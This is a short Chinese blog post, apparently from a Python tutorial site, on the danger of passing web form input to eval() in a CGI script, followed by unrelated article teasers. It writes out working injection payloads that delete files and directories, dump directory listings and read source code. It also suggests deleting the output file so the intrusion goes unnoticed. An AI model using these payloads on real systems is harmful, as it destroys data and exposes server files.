Python之eval()函数危险性浅析
一般来说Python的eval()函数可以把字符串“123”变成数字类型的123，但是PP3E上说它很危险，还可以执行其他命令！
对此进行一些试验。果然，如果python写的cgi程序中如果使用eval()而非int()来转换诸如年龄这样的输入框中的内容时是非常危险的。不仅可以看见列出系统的全部文件，还可以执行删除文件，察看文件源代码等危险操作！
试着写了个程序，想把本地的脚本文件同过这样的形式一行一行的写到服务器的某个文件里，可最后失败在无法输入换行符"/n"，在提交的语句里只要有换行符，就会出现EOL的出错提示，换了编码方式还是没能成功。
网页里有一个提交名字的窗口，这里只是以改它为例，否则名字是不会用eval函数转换的，不过年龄到是很容易出问题。这个文件（http://localhost/tutor4.html）导入了os。
line1 = "Hello, %s." % eval(form['user'].value)
（1）
os.system('del * /q') #删除当前目录下所有文件（不包括文件夹）。
os.system调用当前系统的命令（如windows）
/q
指定强制状态。不提示您确认删除。
（2）若删除文件夹，使用rmdir
/s
删除指定目录和所有子目录以及包含的所有文件。使用 /s 来删除目录树。
/q
在安静模式中运行 rmdir。不经确认即删除目录。
os.system('rmdir d:/workspace /s/q')
（3）列出所有文件os.system('dir')。因为成功执行了dir命令后，系统返回0，所以看到的返回内容只能是Hello,0.而在服务器上，倒是真的列出来了，如果有日志，可能被发现。提交os.system('dir >dir.txt')，那么访问http://localhost/dir.txt那么所有的文件和文件夹都暴露了，想看源代码吗？如果再使用os.system('type target.py').命令如果成功完成同样会返回Hello, 0.的。难道再放进一个文件，再访问那个文件吗？open('target.py').read()
由此，可以在列出和察看其他文件夹里面的内容了。
如果没干别的坏事，那么可删除dir.txt以免被人发现了。os.system('del dir.txt /q')
导入os并执行命令：
__import__('os').system('dir >dir.txt')
相关文章
这篇文章主要给大家介绍了关于paramiko使用tail实时获取服务器的日志输出的相关资料，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2020-12-12
这篇文章主要给大家介绍了关于django项目搭建与Session使用的相关资料，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2018-10-10
这篇文章主要介绍了keras实现图像预处理并生成一个generator的案例，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧2020-06-06
在Python中，有许多库可以用来压缩PDF文件，其中最常用的是PyPDF2和PDFMiner,本文将为大家介绍一个新的方法，即使用缓存流压缩PDF文件，感兴趣的可以了解下2023-08-08
pytorch DataLoader的num_workers参数与设置大小详解
这篇文章主要介绍了pytorch DataLoader的num_workers参数与设置大小详解，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教2021-05-05
树莓派使用python-librtmp实现rtmp推流h264的方法
今天小编就为大家分享一篇树莓派使用python-librtmp实现rtmp推流h264的方法，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧2019-07-07
这篇文章主要介绍了使用python和pygame制作挡板弹球游戏，本文通过实例代码给大家介绍的非常详细，具有一定的参考借鉴价值,需要的朋友可以参考下2019-12-12
pickle和shelve模块都可以把python对象存储到文件中，下面来看看它们的用法吧2013-09-09
这篇文章主要介绍了在 pytorch 中实现计算图和自动求导，文章围绕主题展开详细的内容介绍，具有一定的参考价值，需要的小伙伴可以参考一下2022-06-06
这篇文章主要介绍了Python3非对称加密算法RSA,结合实例形式分析了Python3 RSA加密相关模块安装及使用操作技巧,需要的朋友可以参考下2018-12-12
最新评论